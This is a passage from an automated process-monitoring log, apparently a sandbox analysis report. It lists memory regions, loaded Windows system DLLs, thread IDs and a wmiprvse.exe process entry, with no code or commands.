"\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2225 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2226 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2227 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2228 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2229 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2230 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2231 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2232 start_va = 0x7fefda90000 end_va = 0x7fefdb20fff entry_point = 0x7fefda90000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 2233 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2234 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2235 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2236 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2237 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2238 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2239 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2240 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2241 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2242 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2243 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2244 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2245 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2246 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2247 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2248 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2249 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2250 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2251 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2252 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 2253 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2254 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2255 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2256 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2257 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2258 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2259 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2260 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2261 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2262 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2263 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2264 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2265 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2266 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2267 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2268 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2269 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 159 os_tid = 0x7c8 Thread: id = 160 os_tid = 0x9b8 Thread: id = 161 os_tid = 0x990 Thread: id = 162 os_tid = 0x8cc Thread: id = 163 os_tid = 0x210 Thread: id = 164 os_tid = 0x570 Thread: id = 165 os_tid = 0x458 Thread: id = 166 os_tid = 0x424 Thread: id = 167 os_tid = 0x414 Thread: id = 168 os_tid = 0x7cc Thread: id = 169 os_tid = 0x7b4 Thread: id = 170 os_tid = 0x7a8 Thread: id = 171 os_tid = 0x7a4 Thread: id = 172 os_tid = 0x174 Thread: id = 173 os_tid = 0x178 Thread: id = 174 os_tid = 0x130 Thread: id = 175 os_tid = 0x118 Thread: id = 192 os_tid = 0x7a0 Thread: id = 193 os_tid = 0xac0 Thread: id = 194 os_tid = 0xad0 Thread: id = 195 os_tid = 0x4f8 Thread: id = 196 os_tid = 0x714 Thread: id = 197 os_tid = 0x754 Thread: id = 198 os_tid = 0x8f4 Thread: id = 221 os_tid = 0xf0 Thread: id = 222 os_tid = 0x31c Thread: id = 224 os_tid = 0xabc Thread: id = 225 os_tid = 0xaa0 Thread: id = 226 os_tid = 0xa78 Thread: id = 229 os_tid = 0xaec Thread: id = 230 os_tid = 0xae8 Thread: id = 316 os_tid = 0x750 Process: id = "23" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x9064000" os_pid = "0xb68" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:000733ab" [0xc000000f] Region: id = 2617 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2618 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2619 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2620 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2621 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2622 start_va = 0x60000 end_va = 0x66fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2623 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2624 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 2625 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2626 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 2627 start_va = 0xb0000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 2628 start_va = 0x140000 end_va = 0x23ffff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2629 start_va = 0x240000 end_va = 0x2a6fff entry_point = 0x240000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2630 start_va = 0x2d0000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2631 start_va = 0x360000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 2632 start_va = 0x370000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 2633 start_va = 0x470000 end_va = 0x5f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 2634 start_va = 0x600000 end_va = 0x780fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 2635 start_va = 0x790000 end_va = 0x84ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 2636 start_va = 0x8c0000 end_va = 0x93ffff entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 2637 start_va = 0x940000 end_va = 0xa3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 2638 start_va = 0xa40000 end_va = 0xd0efff entry_point = 0xa40000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2639 start_va = 0xd10000 end_va = 0x1102fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 2640 start_va = 0x1170000 end_va = 0x11effff entry_point = 0x0 region_type = private name = "private_0x0000000001170000" filename = "" Region: id = 2641 start_va = 0x11f0000 end_va = 0x126ffff entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 2642 start_va = 0x1290000 end_va = 0x130ffff entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 2643 start_va = 0x13f0000 end_va = 0x146ffff entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 2644 start_va = 0x1560000 end_va = 0x15dffff entry_point = 0x0 region_type = private name = "private_0x0000000001560000" filename = "" Region: id = 2645 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2646 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2647 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2648 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2649 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2650 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2651 start_va = 0xffce0000 end_va = 0xffd3efff entry_point = 0xffce0000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 2652 start_va = 0x7fef5ba0000 end_va = 0x7fef5bb5fff entry_point = 0x7fef5ba0000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 2653 start_va = 0x7fef5e10000 end_va = 0x7fef5e23fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2654 start_va = 0x7fef6370000 end_va = 0x7fef6396fff entry_point = 0x7fef6370000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2655 start_va = 0x7fef63a0000 end_va = 0x7fef6481fff entry_point = 0x7fef63a0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2656 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2657 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2658 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2659 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2660 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2661 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2662 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2663 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2664 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2665 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2666 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2667 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2668 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2669 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2670 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2671 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2672 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2673 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2674 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2675 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2676 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2677 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2678 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2679 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2680 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2681 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2682 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2683 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2684 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2685 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2686 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2687 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2688 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2689 start_va = 0x7fef5d00000 end_va = 0x7fef5d25fff entry_point = 0x7fef5d00000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2690 start_va = 0x7fee4be0000 end_va = 0x7fee4dd9fff entry_point = 0x7fee4be0000 region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 2691 start_va = 0x7fee5700000 end_va = 0x7fee574bfff entry_point = 0x7fee5700000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 2692 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2693 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2694 start_va = 0x75760000 end_va = 0x75762fff entry_point = 0x75760000 region_type = mapped_file name = "security.dll" filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll") Region: id = 2695 start_va = 0x7fef59a0000 end_va = 0x7fef59a7fff entry_point = 0x7fef59a0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 2696 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2697 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2698 start_va = 0x130000 end_va = 0x132fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 2699 start_va = 0x2b0000 end_va = 0x2b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 2700 start_va = 0x1370000 end_va = 0x13effff entry_point = 0x0 region_type = private name = "private_0x0000000001370000" filename = "" Region: id = 2701 start_va = 0x14d0000 end_va = 0x154ffff entry_point = 0x0 region_type = private name = "private_0x00000000014d0000" filename = "" Region: id = 2702 start_va = 0x15e0000 end_va = 0x16dffff entry_point = 0x0 region_type = private name = "private_0x00000000015e0000" filename = "" Region: id = 2703 start_va = 0x7fefbd80000 end_va = 0x7fefbd94fff entry_point = 0x7fefbd80000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2704 start_va = 0x7fefbda0000 end_va = 0x7fefbdabfff entry_point = 0x7fefbda0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2705 start_va = 0x7fefbdb0000 end_va = 0x7fefbdc5fff entry_point = 0x7fefbdb0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2706 start_va = 0x7fefd210000 end_va = 0x7fefd266fff entry_point = 0x7fefd210000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 2707 start_va = 0x7fefd980000 end_va = 0x7fefd9a2fff entry_point = 0x7fefd980000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2708 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2709 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2710 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 